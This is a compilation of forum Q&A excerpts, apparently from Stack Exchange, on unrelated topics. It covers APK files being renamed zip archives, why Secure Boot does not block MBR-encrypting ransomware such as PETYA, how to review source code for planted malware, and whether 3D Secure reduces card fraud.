The command is ok and apk file is created.

An apk file really is a zip file with the extension changed (as @Josef said in comments), so your problem is other. Maybe you have apk files associated in your O.S. to a program which usually open zip files and that's because you are thinking is a zip file but it is an apk file. Checkout that!

EDIT Look at this. Try to sign your file.


Why isn’t Secure Boot protecting against ransomware like PETYA Some ransomwares, like PETYA, are encrypting the MBR and asking for a ransom.
I don’t understand why Secure Boot isn’t preventing that of happening.

Secure Boot prevents the computer from booting if the bootloader (stored in the MBR, on MBR disks) or other boot-time code is tampered with. It doesn't actually prevent such tampering itself. The purpose of Secure Boot is to prevent malicious boot code from compromising your computer invisibly - think spyware that records your keystrokes and files - not to protect you from malware that tries to deny you access to your computer.

In InfoSec terms, Secure Boot provides integrity - you know if something has been tampered with - and can also provide authentication (if you only trust one signing key, you can be pretty sure that if your computer boots its boot image was signed by that key). It does not provide availability (protection against denial-of-service attacks, which is basically what ransomware is) or authorization (access control checks that control what software is allowed to do) except in the sense that it prevents the machine from booting if the boot image is tampered with.

You can usually block writes to the MBR from the firmware (BIOS or (U)EFI).


Scan Source Code for Potential Viruses If you are sent a program written by someone so that you have the complete source code, how would you go about scanning the source code for any potential viruses/malware?

Note: While bugs and security risks in the program itself are also important to find, this relates specifically to malware written into the program.

You read the code. You try to understand the code. You take the code out to dinner and get to know it better.

You compile the code and play with it. Does the code like it when you tickle it in that area? What happens when you leave it alone? Does it ignore you? Does it throw a tantrum? Is the behavior of the code what you expect it to be like?

Besides getting to know what the code is like now, you have to understand what the code is like before. Talk to prior acquaintances of the code. How was the code like before? Was the code always like this? Did the code's behavior suddenly change one day? What was the cause of the change?

Only by getting to know the code and what the code is supposed to do, can you tell if the code isn't what you are expecting it to be.


Isn't the 3D secure system essentially completely ineffective in avoiding fraud? 3D secure is a system where, after you enter your credit card details on a merchants site, you are redirected to a site hosted on the bank servers where you enter a OTP sent via SMS to complete the transaction.

However, this system is only used by sites hosted in India and a few other countries. Doesn't this render the system completely ineffective (and possibly make the situation worse than not having it at all)? I can't really figure out how this reduces the risk of fraud in any way for credit cards. (Debit cards cannot be used internationally online, so it does reduce the risk there.)

This is more a security measure for the vendor.  Generally speaking, the vendor gets screwed if the transaction is fraudulent, so verifying the purchaser prior to authorizing the transaction is a big plus for the merchant and may also help improve the rates they get for doing the processing.

It allows for some level of the benefits of card present transactions without having to actually have the card present. (ie, the greater assurance of an authentic, authorized user).